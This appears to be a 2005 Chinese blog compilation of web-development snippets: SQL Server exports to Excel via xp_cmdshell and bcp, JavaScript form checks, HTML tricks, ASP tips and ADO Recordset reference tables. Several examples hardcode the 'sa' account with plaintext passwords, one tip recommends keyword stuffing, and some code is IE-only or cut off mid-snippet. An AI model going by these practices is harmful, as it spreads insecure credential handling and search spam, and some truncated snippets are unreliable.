实例:EXEC master..xp_cmdshell 'bcp saletesttmp.dbo.CusAccount out c:\temp1.xls -c -q -S"pmserver" -U"sa" -P"sa"'

EXEC master..xp_cmdshell 'bcp "SELECT au_fname, au_lname FROM pubs..authors ORDER BY au_lname" queryout C:\ authors.xls -c -Sservername -Usa -Ppassword'

在VB6中应用ADO导出EXCEL文件代码:
Dim cn As New ADODB.Connection
cn.open "Driver={SQL Server};Server=WEBSVR;DataBase=WebMis;UID=sa;WD=123;"
cn.execute "master..xp_cmdshell 'bcp "SELECT col1, col2 FROM 库名.dbo.表名" queryout E:\DT.xls -c -Sservername -Usa -Ppassword'"

4)、在SQL SERVER里往Excel插入数据:

insert into OpenDataSource( 'Microsoft.Jet.OLEDB.4.0','Data Source="c:\Temp.xls";User ID=Admin;Password=;Extended properties=Excel 5.0')...table1 (A1,A2,A3) values (1,2,3)

T-SQL代码:
INSERT INTO OPENDATASOURCE('Microsoft.JET.OLEDB.4.0', 'Extended Properties=Excel 8.0;Data source=C:\training\inventur.xls')...[Filiale1$] (bestand, produkt) VALUES (20, 'Test')

总结:利用以上语句,我们可以方便地将SQL SERVER、ACCESS和EXCEL电子表格软件中的数据进行转换,为我们提供了极大方便!


posted @ 2005-07-14 16:42 一天一点爱恋 阅读(442) | 评论 (2)编辑 收藏
 
不同浏览器所支持的“事件”

1。onabort(ns3,ns4,ie4):当用户终止正在打开的网页时产生该事件。
2。onblur(ns3,ns4,ie3,ie4):某元素失去活动焦点时产生该事件。例如鼠标在文本框中点击后又在文本框外点击时就会产生。
3。onchange(ns3,ns4,ie3,ie4):当网页上某元素的内容发生改变时产生。例如在文本框中输入文本后又在文本框外点击时就会产生。
4。onclick(ns3,ns4,ie3,ie4)单击网页上的某元素时产生
5。ondblclick(ns4,ie4):双击网页上的元素时产生
6。onerror(ns3,ns4,ie4):浏览器在打开网页的过程中发生错误时产生该事件
7。onfinish(ie4):滚动文本条中的文本完成一次滚动时产生的事件
8。onfocus(ns3,ns4,ie3,ie4)网页上的元素获得焦点时产生该事件
9。onkeydown(ns4,ie4)按下任意键时产生该事件
10。onkeypress(ns4,ie4)按下任意键时并释放该键产生的事件
11。onkeyup(ns4,ie4)释放按下的按键产生该事件
12。onload(ns3、4,ie3、4)网页或图象调入完成后产生该事件
13。onmousedown(ns4,ie4)在网页的某元素上按下鼠标时产生该事件
14。onmousemove(ie3、4)在网页的某元素上移动鼠标时产生该事件
15。onmouseout(ns3、4,ie4)从网页的某元素移出鼠标时产生该事件
16。onmouseover(ns3、4,ie3、4)鼠标移入网页的某元素时产生该事件
17。onmouseup(ns4,ie4)释放按下的鼠标时产生该事件
18。onreset(ns3、4,ie3、4)复位表格时产生该事件
19。onresize(ns4,ie4)改变浏览器时产生该事件
20。onselect(ns3、4,ie3、4)选择文本框中的文本时产生该事件
21。onstart(ie4)滚动文本条中的文本开始滚动时产生该事件
22。onsubmit(ns3、4,ie3、4)提交表单时产生该事件
23。onunload(ns3、4,ie3、4)从当前的网页退出时产生该事件

马上出现的alt

<style>div {filter: Alpha(Opacity=70, FinishOpacity=70, Style=2, StartX=0, StartY=0, FinishX=100, FinishY=100);}</style>
<img src="icon/popoever.jpg" hint="泡泡哥">
<img src="icon/poorfish.gif" hint="高僧一个,当和尚太可惜了">
<img src="icon/admin.gif" hint="my哥哥">
<div style="visibility:hidden;border:1px solid #000000;background-color:#FFFFCC;font-size:12px;position:absolute;" id=altlayer></div>
测试完毕...
<script>
document.body.onmousemove=quickalt;
function quickalt() {
if(event.srcElement.hint && event.srcElement.hint!='') {
altlayer.style.visibility='visible';
altlayer.style.left=event.x+10;
altlayer.style.top=event.y+10;
altlayer.innerHTML=event.srcElement.hint}
else altlayer.style.visibility='hidden';}
</script>

只能输入数字(方法一)

<script language=javascript>
function onlyNum()
{
if(!((event.keyCode>=48&&event.keyCode<=57)||(event.keyCode>=96&&event.keyCode<=105)))
event.returnValue=false;
}
</script>

<input onkeydown="onlyNum();">

只能输入数字(方法二)

<input onkeypress="return event.keyCode>=48&&event.keyCode<=57" onpaste="return !clipboardData.getData('text').match(/\D/)" style="ime-mode:Disabled" ondragenter="return false">

只能输入数字(方法三)

<script>
function check(){
if (isNaN(tt.value))
{alert("非法字符!");
tt.value="";}
}
</script>
<input type="text" name="tt" onkeyup="check();">

限制textarea多行输入框的字数

<textarea name="b" onkeydown="if(this.value.length>=8) this.value=this.value.substring(0, 8)" onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').substring(0, 8))">

验证表单——不能超过设置字数

<script>
function test()
{
if(document.a.b.value.length>50)
{
alert("不能超过50个字符!");
document.a.b.focus();
return false;
}
}
</script>
<form name=a onsubmit="return test()">
<textarea name="b" cols="40" wrap="VIRTUAL" rows="6"></textarea>
<input type="submit" name="Submit" value="check">
</form>

 

验证表单——只能是汉字

<input onkeyup="value=value.replace(/[^\u4E00-\u9FA5]/g,'')">

验证表单——只能是英文字符

<script language=javascript>
function onlyEng()
{
if(!(event.keyCode>=65&&event.keyCode<=90))
event.returnValue=false;
}
</script>

<input onkeydown="onlyEng();">

验证表单——屏蔽关键字(sex , fuck)

<script language="JavaScript1.2">
function test() {
if((a.b.value.indexOf ("sex") == 0)||(a.b.value.indexOf ("fuck") == 0)){
alert("五讲四美三热爱");
a.b.focus();
return false;}
}
</script>
<form name=a onsubmit="return test()">
<input type=text name=b>
<input type="submit" name="Submit" value="check">
</form>

验证表单——验证为email格式

<SCRIPT LANGUAGE=Javascript RUNAT=Server>
function isEmail(strEmail) {
if (strEmail.search(/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/) != -1)
return true;
else
alert("oh");
}
</SCRIPT>
<input type=text onblur=isEmail(this.value)>

 

css控制checkbox、select的边框不显示

一、<input type=checkbox style="position:absolute;clip: rect(5 16 16 5)">
二、<input type=checkbox style="position:absolute;clip: rect(6 17 17 6)">
三、<select name="menu1" style="position:absolute;clip: rect(2 50 30 2)">
<option>111111</option>
<option>222222</option>
<option>333333</option>
<option>444444</option>
</select>

复选框通常都不需要直接点选,点旁边的文字就行

<label for="box">点这里的文字看看!<input type=checkbox style="position:absolute;clip: rect(6 15 15 6)" id=box></label>

用Label标签还可以让像软件一样使用热键

<label for="box" accesskey="D"><u><b>D</b></u>issplay Username 显示用户名<input type=checkbox style="position:absolute;clip: rect(6 17 17 6)" id=box>

在标题栏上显示版权tm

<title>LEGENDRY_________&#8482;</title>

随机播放背景音乐

<script language="JavaScript">
<!--
var sound=new Array();
sound[0]="1.mid";
sound[1]="2.mid";
sound[2]="3.mid";
sound[3]="4.mid";
sound[4]="5.mid";
sound[5]="6.mid";
sound[6]="7.mid";
var x=Math.round(Math.random()*6);
if(navigator.appName=="Microsoft Internet Explorer") {
document.write("<BGSOUND src='" + sound[x] + "' loop='-1'><br>") ;
document.write("现在正在播放第"+(x+1)+"首乐曲");
}
//-->
</script>

网页背景颜色渐变

<body style="FILTER: progid:DXImageTransform.Microsoft.Alpha( style=1,opacity=25,finishOpacity=100,startX=50,finishX=100,startY=50,finishY=100); BACKGROUND-COLOR: skyblue">

点击图片链接时不显示虚线框

<a href=# onfocus="blur()"><img src=XXX.gif border=0></a>

<a href=#### hidefocus=true><img src=XXX.gif border=0></img></a>

验证两次输入密码不同的JS

<FORM METHOD=POST ACTION="">
<input type="password" id="input1">
<input type="password" id="input2">
<input type="button" value="test" onclick="check()">
</FORM>
<script>
function check()
{
with(document.all){
if(input1.value!=input2.value)
{
alert("false")
input1.value = "";
input2.value = "";
}
else document.forms[0].submit();
}
}
</script>

 

标题栏文字打字效果

<SCRIPT language=JavaScript>
var arr=["█ 欢","■ 欢迎","█ 欢迎光","■ 欢迎光临"],i=0
setInterval("if(i>=arr.length)i=0;document.title=arr[i++]",300);
</SCRIPT>

 

数字转换为大写

<script language="JScript">
arr=["零","壹","贰","叁","肆","伍","陆","柒","捌","玖"];
function go(){
tmp=cinput.value;
for(i=0;i<arr.length;i++)tmp=tmp.replace(new RegExp(i,"gi"),arr[i]);
oinput.value=tmp;
}
</script>
输入:<input id="cinput" onkeypress="return (event.keyCode>=48&&event.keyCode<=57)" value=31415926>
<br>
输出:<input id="oinput">
<br>
<input type="button" value="确定" onclick="go()">

[推荐]经典网页代码25例 希望加精
01.下载flash我的三种方法:
--查看源文件,找出flash的绝对路径,复制,在flashget(或蚂蚁)中点任务
,然后点新建下载任务即可。
--在IE的临时文件夹Temporary Internet Files里把所有的东西都删掉,然后

刷新你想要下载flash的网页,即可得到你所要的flash
--使用外部软件,推荐使用Flash Catcher,安装后只需在你所要下载的flash上右键,save即可。

02.让你的网页无法另存为
<noscript><iframe src=*></iframe></noscript>

03.让IFRAME框架内的文档的背景透明
<iframe src="about:<body style='background:transparent'>"

allowtransparency></iframe>

04.禁止右键:
<body oncontextmenu="return false" ondragstart="return false"

onselectstart ="return false" onselect="document.selection.empty()"

oncopy="document.selection.empty()" onbeforecopy="return
false"onmouseup="document.selection.empty()">

05.进入页面后立即自动刷新?
<meta http-equiv="refresh"

content="120;url=http://www.wodutom.com/cn083">
http://www.wodutom.com/cn083,这是你自己的网址。

06.打开窗口即最大化
<script language="javascript">
<!-- Begin
self.moveTo(0,0)
self.resizeTo(screen.availWidth,screen.availHeight)
// End -->
</script>

防止外部递交:
server_v1=Cstr(Request.ServerVariables("HTTP_REFERER"))
server_v2=Cstr(Request.ServerVariables("SERVER_NAME"))
if mid(server_v1,8,len(server_v2))<>server_v2 then
response.write "<br><br><center><table border=1 cellpadding=20 bordercolor=black bgcolor=#EEEEEE width=300>"
response.write "<tr><td style='font:9pt Verdana'>"
response.write "请不要从站点外部提交数据!"
response.write"<input type=submit onclick=""javascript:history.back(1)"" name=Submit class=""button"" value=""返 回"">"
response.write "</td></tr></table>"
response.write"</center>"
response.end
end if

07.能隐藏IFRAME的滚动条吗?我知道的三种方法:
1. 设置iframe scrolling="no"
2. 被包含页body应用overflow:hidden
3. 被包含页的body标签加scroll="no"

08.加入背景音乐
<bgsound src="mid/windblue[1].mid" loop="-1"> 只适用于IE

<embed src="music.mid" autostart="true" loop="true" hidden="true">

对Netscape ,IE 都适用

09.嵌入网页
<iframe name="tt" src="01a.html" width="450" height="287"

scrolling="Auto" frameborder="0"></iframe>

10.跳转
<meta http-equiv="refresh" content="3;URL=list.htm">

11.滚动
<MARQUEE direction=up height=146 onmouseout=start()

onmouseover=stop()
scrollAmount=4></marquee>

12.细线分隔线
<hr noshade size=0 color=#C0C0C0>

13.过度方式
<meta http-equiv="Page-Exit"

content="revealTrans(Duration=3,Transition=5)">
Duration的值为网页动态过渡的时间,单位为秒。
Transition是过渡方式,它的值为0到23,分别对应24种过渡方式。如下表:
0 盒状收缩 1 盒状放射
2 圆形收缩 3 圆形放射
4 由下往上 5 由上往下
6 从左至右 7 从右至左
8 垂直百叶窗 9 水平百叶窗
10 水平格状百叶窗 11垂直格状百叶窗
12 随意溶解 13从左右两端向中间展开
14从中间向左右两端展开 15从上下两端向中间展开
16从中间向上下两端展开 17 从右上角向左下角展开
18 从右下角向左上角展开 19 从左上角向右下角展开
20 从左下角向右上角展开 21 水平线状展开
22 垂直线状展开 23 随机产生一种过渡方式

15.如何控制横向和纵向滚动条的显隐?
<body style="overflow-y:hidden"> 去掉x轴
<body style="overflow-x:hidden"> 去掉y轴
<body scroll="no">不显

16.怎样在 FrontPage2000 中加入 Flash 动画?
在 FrontPage2000 中,点击[插入]->[高级]->[插件],在弹出的窗口中,设置

一下 Flash 文件的大小及其它信息,确定即可。

17.加入注释的格式是:    
〈!-[注释内容…]--〉

18.怎样在网页中加入 E-mail 链接并显示预定的主题?
〈A href="mailto:Emailhost@263.net?subject=主题"〉……〈/a〉

19.定义本网页关键字,可以在〈Head〉〈/Head〉中加入如下代码:  
〈meta name="Keywords" content="china,enterprise,business,net"〉   
Content 中所包含的就是关键字,你可以自行设置。   
这里有个技巧,你可以重复某一个单词,这样可以提高自己网站的排行位置,如:
〈meta name="Keywords" content="china,china,china,china"〉

20.IE5.0 的部分快捷键:
A:打开查找功能:Ctrl+F
关闭浏览器窗口:Ctrl+W
打开地址栏下拉列表框:F4
刷 新:F5
将当前Web页保存到收藏夹列表:Ctrl+D
打开当前 IE 窗口的一个拷贝:Ctrl+N
停止下载当前网页:Esc
光标迅速移动到网页的开头:Home
光标迅速移动到网页的尾部:End
打开新的地址键入窗口:Ctrl+O
打开收藏夹:Ctrl+I
打开历史记录文件夹:Ctrl+H
打开浏览器设定的默认主页:Alt+HOME

21.添加到收藏夹:
〈a href="javascript:window.external.addFavorite('http://链接','说明

');"〉添加到收藏夹〈/a〉

22.设为首页:
〈a href=#

onclick=this.style.behavior='url(#default#homepage)';this.setHomePage

('

23.定制浏览器地址栏前的小图标:
A:在网页的〈head〉〈/head〉间加入以下语句:〈link rel="shortcuticon"

href="http://…/icon.ico"〉即可。其中 icon.ico 为 16x16 的图标文件,

颜色不要超过 16 色。

24.把滚动条放在浏览器窗口的左边
A:在 <body> 中加 dir=RTL,即 <body dir=RTL>。

25.让背景图不滚动
IE浏览器支持一个 Body 属性 bgproperties,它可以让背景不滚动:
〈Body Background="图片文件" bgproperties="fixed"〉

最全的表格代码应用[精华]
1.表格的分隔线可以隐藏
<table border rules=cols cellspacing=0 align=left> 可以隐藏横向的分隔线
<table border rules=rows cellspacing=0 align=right>可以隐藏纵向的分隔线

<table border rules=none cellspacing=0 align=center>可以隐藏横向和纵向的分隔线

2.表格的边框不断在闪

以下方法可以令表格的边框不断在闪,很实用的
在BODY区加上

<table border="0" width="280" id="myexample"
style="border:5px solid yellow">

<tr>

<td>加入任意的物件.加入任意的物件.

<br>加入任意的物件.加入任意的物件.

<br>加入任意的物件.加入任意的物件.</td>

</tr>

</table>

<script language="JavaScript1.2">

<!--

function flashit(){

if (!document.all)

return

if (myexample.style.borderColor=="yellow")

myexample.style.borderColor="lime"

else

myexample.style.borderColor="yellow"

}

setInterval("flashit()", 500)

//-->

</script>

3.表格分行下载

这个对表格内容很大比较实用

在需要分行下载处加上 <tbody >

比如:
<table >
<tbody >
<tr >
<td >flsdjfsdjfkdsjf</td >
</tr >
<tr >
<td >skdjfsdjfksd</td >
</tr >
</tbody >

<tbody >
<tr >
<td >flsdjfsdjfkdsjf</td >
</tr >
<tr >
<td>skdjfsdjfksd</td >
</tr >
</tbody >
</table >

4.几种样式不同的表格

<table border="1" width="220" style="position: absolute; left:
11; top: 11" height="26" >

<tr>

<td width="100%">普通表格</td>

</tr>

</table>

5.正立方表格

<table border="1" width="220" bordercolorlight="#eeeeee"
bordercolordark="#000000" style="position: absolute; left: 10; top:
49" height="26">

<tr>

<td width="100%">正立方表格</td>

</tr>

</table>

6.细表格

<table border="0" frame=vsides width="219"
bgcolor="#000000" cellspacing="1" cellpadding="0"
height="22" style="position: absolute; left: 11; top: 86">

<tr bgcolor="#FFFFFF">

<td width="100%" height="2">细表格</td>

</tr>

</table>

7.立体表格

<table border="1" width="220" bordercolorlight="#ffffff"
bordercolordark="#ffffff" style="position: absolute; left: 10; top:
112" height="34">

<tr>

<td width="100%" bgcolor="#B7B7B7"
bordercolorlight="#000000" bordercolordark="#eeeeee" >立体表格</td>

</tr>

</table>

8.无名表格

<table width="220" align="center" style="position: absolute;
left: 246; top: 12" height="51">

<tr>

<td><fieldset style="width:220" align="center">
<legend> 无名表格 </legend>  <p align="right"> </fieldset>
<br>

</td>

</tr>

</table>

9.表中表效果Ⅱ

<table width="220" align="center" style="position:
absolute; left: 245; top: 89" height="110">
<tr>
<td height="75"><fieldset style="width:220"
align="center"> <legend> 表中表效果Ⅱ </legend> <table
frame="hsides" border="1"
bordercolorlight="#000000" bordercolordark="#ffffff"
width="100%" cellspacing="1" cellpadding="0" height="78">
<tr bgcolor="#ffffff">
<td width="100%" height="76"></fieldset></td>
</tr>
</table>

10.表中表效果Ⅰ

<table width="220" align="center" style="position: absolute;
left: 10; top: 120" height="138" cellspacing="1"
cellpadding="0">

<tr>

<td height="126"><fieldset style="width: 220; color: #B7B7B7;
border-style: groove" align="center"> <legend style="color:
#FFFFFF; border: 1 solid #808080" > <font color="#000000">表中表效果Ⅰ</font>
</legend>  <p align="right"> </fieldset>

</td>

</tr>

</table>

11.表格中边框的显示

只显示上边框 <table frame=above>
只显示下边框 <table frame=below>
只显示左、右边框 <table frame=vsides>
只显示上、下边框 <table frame=hsides>
只显示左边框 <table frame=lhs>
只显示右边框 <table frame=rhs>
不显示任何边框 <table frame=void>

posted @ 2005-07-14 16:39 一天一点爱恋 阅读(399) | 评论 (0)编辑 收藏
 
1.如何用Asp判断你的网站的虚拟物理路径
答:使用Mappath方法
< p align="center" >< font size="4" face="Arial" >< b >
The Physical path to this virtual website is:
< /b >< /font >
< font color="#FF0000" size="6" face="Arial" >
< %= Server.MapPath("\")% >
< /font >< /p >
2.我如何知道使用者所用的浏览器?
答:使用the Request object方法
strBrowser=Request.ServerVariables("HTTP_USER_AGENT")
If Instr(strBrowser,"MSIE") < > 0 Then
   Response.redirect("ForMSIEOnly.htm")
Else
   Response.redirect("ForAll.htm")
End If

3.如何计算每天的平均反复访问人数
答:解决方法
< % startdate=DateDiff("d",Now,"01/01/1990")
if strdate< 0 then startdate=startdate*-1
avgvpd=Int((usercnt)/startdate) % >
显示结果
< % response.write(avgvpd) % >
that is it.this page have been viewed since November 10,1998

4.如何显示随机图象
< % dim p,ppic,dpic
ppic=12
randomize
p=Int((ppic*rnd)+1)
dpic="graphix/randompics/"&p&".gif"
% >
显示
< img src="< %=dpic% >" >

5.如何回到先前的页面
答:< a href="< %=request.serverVariables("Http_REFERER")% >" >preivous page< /a >
或用图片如:< img src="arrowback.gif" alt="< %=request.serverVariables("HTTP_REFERER")% >" >

6.如何确定对方的IP地址
答:< %=Request.serverVariables("REMOTE_ADDR)% >

7.如何链结到一副图片上
答:< % @Languages=vbs cript % >
< % response.expires=0
strimagename="graphix/errors/erroriamge.gif"
response.redirect(strimagename)
% >

8.强迫输入密码对话框
答:把这句话放载页面的开头
< % response.status="401 not Authorized"
response.end
% >

9.如何传递变量从一页到另一页
答:用 HIDDEN 类型来传递变量
< % form method="post" action="mynextpage.asp" >
< % for each item in request.form % >
< input namee="< %=item% >" type="HIDDEN"
value="< %=server.HTMLEncode(Request.form(item)) % >" >
< % next % >
< /form >

10.为何我在 asp 程序内使用 msgbox,程序出错说没有权限
答:由于 asp 是服务器运行的,如果可以在服务器显示一个对话框,那么你只好等有人按了确定之后,你的程序才能继续执行,而一般服务器不会有人守着,所以微软不得不禁止这个函数,并胡乱告诉你 (:) 呵呵) 没有权限。但是ASP和客户端脚本结合倒可以显示一个对话框,as follows:
< % yourVar="测试对话框"% >
< % s cript language='javas cript' >
alert("< %=yourvar% >")
< /s cript >

11.有没有办法保护自己的源代码,不给人看到
答:可以去下载一个微软的Windows s cript Encoder,它可以对asp的脚本和客户端javas cript/vbs cript脚本进行加密。。。不过客户端加密后,只有ie5才能执行,服务器端脚本加密后,只有服务器上安装有s cript engine 5(装一个ie5就有了)才能执行。

12.怎样才能将 query string 从一个 asp 文件传送到另一个?
答:前者文件加入下句: Response.Redirect("second.asp?" & Request.ServerVariables("QUERY_STRING"))

13.global.asa文件总是不起作用?
答:只有web目录设置为web application, global.asa才有效,并且一个web application的根目录下 global.asa才有效。IIS4可以使用Internet Service Manager设置application setting 怎样才能使得htm文件如同asp文件一样可以执行脚本代码?

14.怎样才能使得htm文件如同asp文件一样可以执行脚本代码?
答:Internet Sevices Manager - > 选择default web site - >右鼠键- >菜单属性-〉主目录- > 应用程序设置(Application Setting)- > 点击按钮 "配置"- > app mapping - >点击按钮"Add" - > executable browse选择 \WINNT\SYSTEM32\INETSRV\ASP.DLL EXTENSION 输入 htm method exclusions 输入PUT.DELETE 全部确定即可。但是值得注意的是这样对htm也要由asp.dll处理,效率将降低。

15.如何注册组件
答:有两种方法。
第一种方法:手工注册 DLL 这种方法从IIs 3.0一直使用到IIs 4.0和其它的Web Server。它需要你在命令行方式下来执行,进入到包含有DLL的目录,并输入:regsvr32 component_name.dll 例如 c:\temp\regsvr32 AspEmail.dll 它会把dll的特定信息注册入服务器中的注册表中。然后这个组件就可以在服务器上使用了,但是这个方法有一个缺陷。当使用这种方法注册完毕组件后,该组件必须要相应的设置NT的匿名帐号有权限执行这个dll。特别是一些组件需要读取注册表,所以,这个注册组件的方法仅仅是使用在服务器上没有MTS的情况下,要取消注册这个dll,使用:regsvr32 /u aspobject.dll example c:\temp\regsvr32 /u aneiodbc.dll

第二种方法:使用MTS(Microsoft Transaction Server) MTS是IIS 4新增特色,但是它提供了巨大的改进。MTS允许你指定只有有特权的用户才能够访问组件,大大提高了网站服务器上的安全性设置。在MTS上注册组件的步骤如下:
1) 打开IIS管理控制台。
2) 展开transaction server,右键单击"pkgs installed"然后选择"new package"。
3) 单击"create an empty package"。
4) 给该包命名。
5) 指定administrator帐号或则使用"interactive"(如果服务器经常是使用administrator 登陆的话)。
6) 现在使用右键单击你刚建立的那个包下面展开后的"components"。选择 "new then component"。
7) 选择 "install new component" 。
8) 找到你的.dll文件然后选择next到完成。
要删除这个对象,只要选择它的图标,然后选择delete。
附注:特别要注意第二种方法,它是用来调试自己编写组件的最好方法,而不必每次都需要重新启动机器了。

16. ASP与Access数据库连接:

<%@ language=VBs cript%>
<%
dim conn,mdbfile
mdbfile=server.mappath("数据库名称.mdb")
set conn=server.createobject("adodb.connection")
conn.open "driver={microsoft access driver (*.mdb)};uid=admin;pwd=数据库密码;dbq="&mdbfile

%>

17. ASP与SQL数据库连接:

<%@ language=VBs cript%>
<%
dim conn
set conn=server.createobject("ADODB.connection")
con.open "PROVIDER=SQLOLEDB;DATA SOURCE=SQL服务器名称或IP地址;UID=sa;PWD=数据库密码;DATABASE=数据库名称
%>

写到数据库的内容,读出来时没有了空格和换行 ,该怎么解决?
或与此类似问题

问题的解答就是在写入数据库做Replace替换
拿出我用的一个函数供大家参考

<%
'----------Html转换为文本:编辑时拿来做转换
Function Html2Text(Str1)
If isNULL(Str1) Then
Html2Text=""
Exit Function
End If
Str1=Replace(Str1,"&lt;","<")
Str1=Replace(Str1,"&gt;",">")
Str1=Replace(Str1,"<br>",VBcrlf)
Str1=Replace(Str1,"&quot;",chr(34))
Str1=Replace(Str1,"&nbsp;"," ")
Str1=Replace(Str1,"&amp;","&")
Html2Text=Str1
End Function
'-------------------文本转换为Html:写入数据库时使用---------------
Function Text2Html(Str1)
If isNULL(Str1) Then
Text2Html=""
Exit Function
End If
Str1=Replace(Str1,"&","&amp;")
Str1=Replace(Str1,"<","&lt;")
Str1=Replace(Str1,">","&gt;")
Str1=Replace(Str1,VBcrlf,"<br>")
Str1=Replace(Str1,chr(34),"&quot;")
Str1=Replace(Str1,chr(9),"&nbsp;&nbsp;&nbsp;")
Str1=Replace(Str1," ","&nbsp;")
Text2Html=Str1
End Function

%>

二.关于小数点前0的显示问题

1.如果小数点后位数是固定的,那么可以使用函数FormatNumber()

示例:

<%
MyNumber=0.323
Response.Write FormatNumber(MyNumber,2,-1) '保留小数点后两位
%>

2.如果小数点后位数不固定,那么可以如下

示例:
<%
MyNumber=0.323
If Left(Cstr(MyNumber),1)="." Then Response.Write "0"&MyNumber Else Response.Write MyNumber
%>
也可以写一个函数
<%
Function FormatNum(Num)
If Left(Cstr(Num),1)="." Then FormatNum="0"&Num Else FormatNum=Num
End Function
%>

建立记录集对象:

set rs=server.createobject("adodb.recordset")
rs.open SQL语句,conn,3,2

18. SQL常用命令使用方法:

(1) 数据记录筛选:

sql="select * from 数据表 where 字段名=字段值 order by 字段名 [desc]"

sql="select * from 数据表 where 字段名 like '%字段值%' order by 字段名 [desc]"

sql="select top 10 * from 数据表 where 字段名 order by 字段名 [desc]"

sql="select * from 数据表 where 字段名 in ('值1','值2','值3')"

sql="select * from 数据表 where 字段名 between 值1 and 值2"

(2) 更新数据记录:

sql="update 数据表 set 字段名=字段值 where 条件表达式"

sql="update 数据表 set 字段1=值1,字段2=值2 …… 字段n=值n where 条件表达式"

(3) 删除数据记录:

sql="delete from 数据表 where 条件表达式"

sql="delete from 数据表" (将数据表所有记录删除)

(4) 添加数据记录:

sql="insert into 数据表 (字段1,字段2,字段3 …) valuess (值1,值2,值3 …)"

sql="insert into 目标数据表 select * from 源数据表" (把源数据表的记录添加到目标数据表)

(5) 数据记录统计函数:

AVG(字段名) 得出一个表格栏平均值
COUNT(*|字段名) 对数据行数的统计或对某一栏有值的数据行数统计
MAX(字段名) 取得一个表格栏最大的值
MIN(字段名) 取得一个表格栏最小的值
SUM(字段名) 把数据栏的值相加

引用以上函数的方法:

sql="select sum(字段名) as 别名 from 数据表 where 条件表达式"
set rs=conn.excute(sql)

用 rs("别名") 获取统的计值,其它函数运用同上。

(5) 数据表的建立和删除:

CREATE TABLE 数据表名称(字段1 类型1(长度),字段2 类型2(长度) …… )

例:CREATE TABLE tab01(name varchar(50),datetime default now())

DROP TABLE 数据表名称 (永久性删除一个数据表)

19. 记录集对象的方法:

rs.movenext 将记录指针从当前的位置向下移一行
rs.moveprevious 将记录指针从当前的位置向上移一行
rs.movefirst 将记录指针移到数据表第一行
rs.movelast 将记录指针移到数据表最后一行
rs.absoluteposition=N 将记录指针移到数据表第N行
rs.absolutepage=N 将记录指针移到第N页的第一行
rs.pagesize=N 设置每页为N条记录
rs.pagecount 根据 pagesize 的设置返回总页数
rs.recordcount 返回记录总数
rs.bof 返回记录指针是否超出数据表首端,true表示是,false为否
rs.eof 返回记录指针是否超出数据表末端,true表示是,false为否
rs.delete 删除当前记录,但记录指针不会向下移动
rs.addnew 添加记录到数据表末端
rs.update 更新数据表记录

---------------------------------------

20 Recordset对象方法

Open方法

recordset.Open Source,ActiveConnection,CursorType,LockType,Options

Source
Recordset对象可以通过Source属性来连接Command对象。Source参数可以是一个Command对象名称、一段SQL命令、一个指定的数据表名称或是一个Stored Procedure。假如省略这个参数,系统则采用Recordset对象的Source属性。

ActiveConnection
Recordset对象可以通过ActiveConnection属性来连接Connection对象。这里的ActiveConnection可以是一个Connection对象或是一串包含数据库连接信息(ConnectionString)的字符串参数。

CursorType
Recordset对象Open方法的CursorType参数表示将以什么样的游标类型启动数据,包括adOpenForwardOnly、adOpenKeyset、adOpenDynamic及adOpenStatic,分述如下:
--------------------------------------------------------------
常数 常数值 说明
-------------------------------------------------------------
adOpenForwardOnly 0 缺省值,启动一个只能向前移动的游标(Forward Only)。
adOpenKeyset 1 启动一个Keyset类型的游标。
adOpenDynamic 2 启动一个Dynamic类型的游标。
adOpenStatic 3 启动一个Static类型的游标。
-------------------------------------------------------------
以上几个游标类型将直接影响到Recordset对象所有的属性和方法,以下列表说明他们之间的区别。

-------------------------------------------------------------
Recordset属性 adOpenForwardOnly adOpenKeyset adOpenDynamic adOpenStatic
-------------------------------------------------------------
ADO Recordset的属性和方法的有效性

ADO Recordset的属性和方法在不同的光标类型下,有不同的表现,这里列出了其详细情况列表
ADO Recordset属性的有效性列表

属性 ForwardOnly Dynamic Keyset Static

AbsolutePage 无效 无效 读/写 读/写
AbsolutePosition 无效 无效 读/写 读/写
ActiveConnection 读/写 读/写 读/写 读/写
BOF 只读 只读 只读 只读
Bookmark 无效 无效 读/写 读/写
CacheSize 读/写 读/写 读/写 读/写
CursorLocation 读/写 读/写 读/写 读/写
CursorType 读/写 读/写 读/写 读/写
EditMode 只读 只读 只读 只读
EOF 只读 只读 只读 只读
Filter 读/写 读/写 读/写 读/写
LockType 读/写 读/写 读/写 读/写
MarshalOptions 读/写 读/写 读/写 读/写
MaxRecords 读/写 读/写 读/写 读/写
PageCount 无效 无效 只读 只读
PageSize 读/写 读/写 读/写 读/写
RecordCount 无效 无效 只读 只读
Source 读/写 读/写 读/写 读/写
State 只读 只读 只读 只读
Status 只读 只读 只读 只读

 

在使用Microsoft OLE DB Provider for ODBC.1.0时候,属性AbsolutePosition
和AbsolutePage是只写的

ADO Recordse方法的有效性列表

方法 ForwardOnly Dynamic Keyset Static

AddNew 是 是 是 是
CancelBatch 是 是 是 是
CancelUpdate 是 是 是 是
Clone 否 否 是 是
Close 是 是 是 是
Delete 是 是 是 是
GetRows 是 是 是 是
Move 是 是 是 是
MoveFirst 是 是 是 是
MoveLast 否 是 是 是
MoveNext 是 是 是 是
MovePrevious 否 是 是 是
NextRecordset * 是 是 是 是
Open 是 是 是 是
Requery 是 是 是 是
Resync 否 否 是 是
Supports 是 是 是 是
Update 是 是 是 是
UpdateBatch 是 是 是 是

* Microsoft Access databases.不支持
--------------------------------------------------------------
其中NextRecordset方法并不适用于Microsoft Access数据库。

LockType
Recordset对象Open方法的LockType参数表示要采用的Lock类型,如果忽略这个参数,那么系统会以Recordset对象的LockType属性为预设值。LockType参数包含adLockReadOnly、adLockPrssimistic、adLockOptimistic及adLockBatchOptimistic等,分述如下:

-------------------------------------------------------------
常数 常数值 说明
--------------------------------------------------------------
adLockReadOnly 1 缺省值,Recordset对象以只读方式启动,无法运行AddNew、Update及Delete等方法
adLockPrssimistic 2 当数据源正在更新时,系统会暂时锁住其他用户的动作,以保持数据一致性。
adLockOptimistic 3 当数据源正在更新时,系统并不会锁住其他用户的动作,其他用户可以对数据进行增、删、改的操作。
adLockBatchOptimistic 4 当数据源正在更新时,其他用户必须将CursorLocation属性改为adUdeClientBatch才能对数据进行增、
删、改的操作。

------------------------------------------------------

RS.OPEN SQL,CONN,A,B

A:

ADOPENFORWARDONLY(=0)
只读,且当前数据记录只能向下移动

ADOPENKEYSET(=1)
只读,当前数据记录可自由移动

ADOPENDYNAMIC(=2)
可读写,当前数据记录可自由移动

ADOPENSTATIC(=3)
可读写,当前数据记录可自由移动,可看到新增记录

B:

